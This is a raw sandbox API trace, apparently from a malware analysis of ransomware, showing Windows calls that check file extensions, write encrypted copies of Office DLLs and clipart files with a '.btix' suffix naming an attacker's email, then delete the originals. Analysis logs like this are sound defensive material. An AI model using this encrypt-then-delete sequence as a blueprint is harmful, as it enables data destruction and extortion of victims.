lstrlenW (lpString=".docx") returned 5 [0157.791] lstrcmpiW (lpString1=".docx", lpString2="4.exe") returned -1 [0157.791] lstrlenW (lpString=".pdf") returned 4 [0157.792] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0157.792] lstrlenW (lpString=".xls") returned 4 [0157.792] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0157.792] lstrlenW (lpString=".xlsx") returned 5 [0157.792] lstrcmpiW (lpString1=".xlsx", lpString2="4.exe") returned -1 [0157.792] lstrlenW (lpString=".ppt") returned 4 [0157.792] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.792] lstrlenW (lpString=".zip") returned 4 [0157.792] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0157.792] lstrlenW (lpString=".rar") returned 4 [0157.792] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0157.792] lstrlenW (lpString=".bz2") returned 4 [0157.792] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0157.792] lstrlenW (lpString=".7z") returned 3 [0157.792] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.792] lstrlenW (lpString=".dbf") returned 4 [0157.792] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.792] lstrlenW (lpString=".1cd") returned 4 [0157.792] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0157.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe") returned 68 [0157.792] lstrlenW (lpString=".jpg") returned 4 [0157.792] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0157.792] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.792] lstrlenW (lpString="msvcp140.dll") returned 12 [0157.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.793] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=635040) returned 1 [0157.793] CloseHandle (hObject=0x364) returned 1 [0157.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0157.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0157.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.793] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.794] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.794] GetLastError () returned 0x0 [0157.794] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x9b0a0, lpOverlapped=0x0) returned 1 [0157.812] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x9b0b0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x9b0b0, lpOverlapped=0x0) returned 1 [0157.821] ReadFile (in: hFile=0x364, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.822] WriteFile (in: hFile=0x358, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.822] SetEndOfFile (hFile=0x358) returned 1 [0157.822] CloseHandle (hObject=0x358) returned 1 [0157.822] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.822] SetEndOfFile (hFile=0x364) returned 1 [0157.828] CloseHandle (hObject=0x364) returned 1 [0157.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 1 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.829] lstrlenW (lpString=".doc") returned 4 [0157.829] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString=".docx") returned 5 [0157.829] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.829] lstrlenW (lpString=".pdf") returned 4 [0157.829] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString=".xls") returned 4 [0157.829] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString=".xlsx") returned 5 [0157.829] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.829] lstrlenW (lpString=".ppt") returned 4 [0157.829] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.829] lstrlenW (lpString=".zip") returned 4 [0157.829] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString=".rar") returned 4 [0157.829] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString=".bz2") returned 4 [0157.829] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.829] lstrlenW (lpString=".7z") returned 3 [0157.829] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.829] lstrlenW (lpString=".dbf") returned 4 [0157.829] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.829] lstrlenW (lpString=".1cd") returned 4 [0157.829] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.829] lstrlenW (lpString=".jpg") returned 4 [0157.829] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.830] lstrlenW (lpString=".doc") returned 4 [0157.830] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.830] lstrlenW (lpString=".docx") returned 5 [0157.830] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.830] lstrlenW (lpString=".pdf") returned 4 [0157.830] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.830] lstrlenW (lpString=".xls") returned 4 [0157.830] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.830] lstrlenW (lpString=".xlsx") returned 5 [0157.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.830] lstrlenW (lpString=".ppt") returned 4 [0157.830] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.830] lstrlenW (lpString=".zip") returned 4 [0157.830] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.830] lstrlenW (lpString=".rar") returned 4 [0157.830] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.830] lstrlenW (lpString=".bz2") returned 4 [0157.830] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.830] lstrlenW (lpString=".7z") returned 3 [0157.830] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.830] lstrlenW (lpString=".dbf") returned 4 [0157.830] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.830] lstrlenW (lpString=".1cd") returned 4 [0157.830] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll") returned 58 [0157.830] lstrlenW (lpString=".jpg") returned 4 [0157.830] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.831] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.831] lstrlenW (lpString="msvcr120.dll") returned 12 [0157.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0157.994] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=963240) returned 1 [0157.994] CloseHandle (hObject=0x348) returned 1 [0157.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 0x220 [0157.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.428] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.428] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.429] GetLastError () returned 0x0 [0158.429] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0xeb2a8, lpOverlapped=0x0) returned 1 [0158.453] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0158.466] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.466] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.466] SetEndOfFile (hFile=0x338) returned 1 [0158.466] CloseHandle (hObject=0x338) returned 1 [0158.466] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.466] SetEndOfFile (hFile=0x2fc) returned 1 [0158.473] CloseHandle (hObject=0x2fc) returned 1 [0158.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.474] lstrlenW (lpString=".doc") returned 4 [0158.474] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.474] lstrlenW (lpString=".docx") returned 5 [0158.474] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.474] lstrlenW (lpString=".pdf") returned 4 [0158.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.474] lstrlenW (lpString=".xls") returned 4 [0158.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.474] lstrlenW (lpString=".xlsx") returned 5 [0158.474] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.474] lstrlenW (lpString=".ppt") returned 4 [0158.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.474] lstrlenW (lpString=".zip") returned 4 [0158.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.474] lstrlenW (lpString=".rar") returned 4 [0158.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.474] lstrlenW (lpString=".bz2") returned 4 [0158.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.474] lstrlenW (lpString=".7z") returned 3 [0158.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.474] lstrlenW (lpString=".dbf") returned 4 [0158.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.474] lstrlenW (lpString=".1cd") returned 4 [0158.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.474] lstrlenW (lpString=".jpg") returned 4 [0158.474] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.475] lstrlenW (lpString=".doc") returned 4 [0158.475] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.475] lstrlenW (lpString=".docx") returned 5 [0158.475] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0158.803] lstrlenW (lpString=".pdf") returned 4 [0158.803] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.803] lstrlenW (lpString=".xls") returned 4 [0158.803] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.803] lstrlenW (lpString=".xlsx") returned 5 [0158.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0158.803] lstrlenW (lpString=".ppt") returned 4 [0158.803] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.803] lstrlenW (lpString=".zip") returned 4 [0158.803] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.804] lstrlenW (lpString=".rar") returned 4 [0158.804] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.804] lstrlenW (lpString=".bz2") returned 4 [0158.804] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.804] lstrlenW (lpString=".7z") returned 3 [0158.804] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.804] lstrlenW (lpString=".dbf") returned 4 [0158.804] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.804] lstrlenW (lpString=".1cd") returned 4 [0158.804] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll") returned 58 [0158.804] lstrlenW (lpString=".jpg") returned 4 [0158.804] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.804] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.804] lstrlenW (lpString="PARNT_08.MID") returned 12 [0158.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.804] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=7347) returned 1 [0158.804] CloseHandle (hObject=0x2fc) returned 1 [0158.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0158.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0158.805] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.805] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0158.806] GetLastError () returned 0x0 [0158.806] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0158.806] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0158.807] ReadFile (in: hFile=0x2fc, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.807] WriteFile (in: hFile=0x338, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.807] SetEndOfFile (hFile=0x338) returned 1 [0158.807] CloseHandle (hObject=0x338) returned 1 [0158.807] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.807] SetEndOfFile (hFile=0x2fc) returned 1 [0158.808] CloseHandle (hObject=0x2fc) returned 1 [0158.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0158.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.809] lstrlenW (lpString=".doc") returned 4 [0158.809] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.809] lstrlenW (lpString=".docx") returned 5 [0158.809] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0158.809] lstrlenW (lpString=".pdf") returned 4 [0158.809] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.809] lstrlenW (lpString=".xls") returned 4 [0158.809] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.809] lstrlenW (lpString=".xlsx") returned 5 [0158.809] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0158.809] lstrlenW (lpString=".ppt") returned 4 [0158.809] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.809] lstrlenW (lpString=".zip") returned 4 [0158.809] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.809] lstrlenW (lpString=".rar") returned 4 [0158.809] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.809] lstrlenW (lpString=".bz2") returned 4 [0158.809] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.809] lstrlenW (lpString=".7z") returned 3 [0158.810] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.810] lstrlenW (lpString=".dbf") returned 4 [0158.810] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.810] lstrlenW (lpString=".1cd") returned 4 [0158.810] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.810] lstrlenW (lpString=".jpg") returned 4 [0158.810] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.810] lstrlenW (lpString=".doc") returned 4 [0158.810] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.810] lstrlenW (lpString=".docx") returned 5 [0158.810] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0158.810] lstrlenW (lpString=".pdf") returned 4 [0158.810] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.810] lstrlenW (lpString=".xls") returned 4 [0158.810] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.810] lstrlenW (lpString=".xlsx") returned 5 [0158.810] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0158.810] lstrlenW (lpString=".ppt") returned 4 [0158.810] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.810] lstrlenW (lpString=".zip") returned 4 [0158.810] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.810] lstrlenW (lpString=".rar") returned 4 [0158.810] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.810] lstrlenW (lpString=".bz2") returned 4 [0158.810] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.811] lstrlenW (lpString=".7z") returned 3 [0158.811] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.811] lstrlenW (lpString=".dbf") returned 4 [0158.811] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.811] lstrlenW (lpString=".1cd") returned 4 [0158.811] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0158.811] lstrlenW (lpString=".jpg") returned 4 [0158.811] 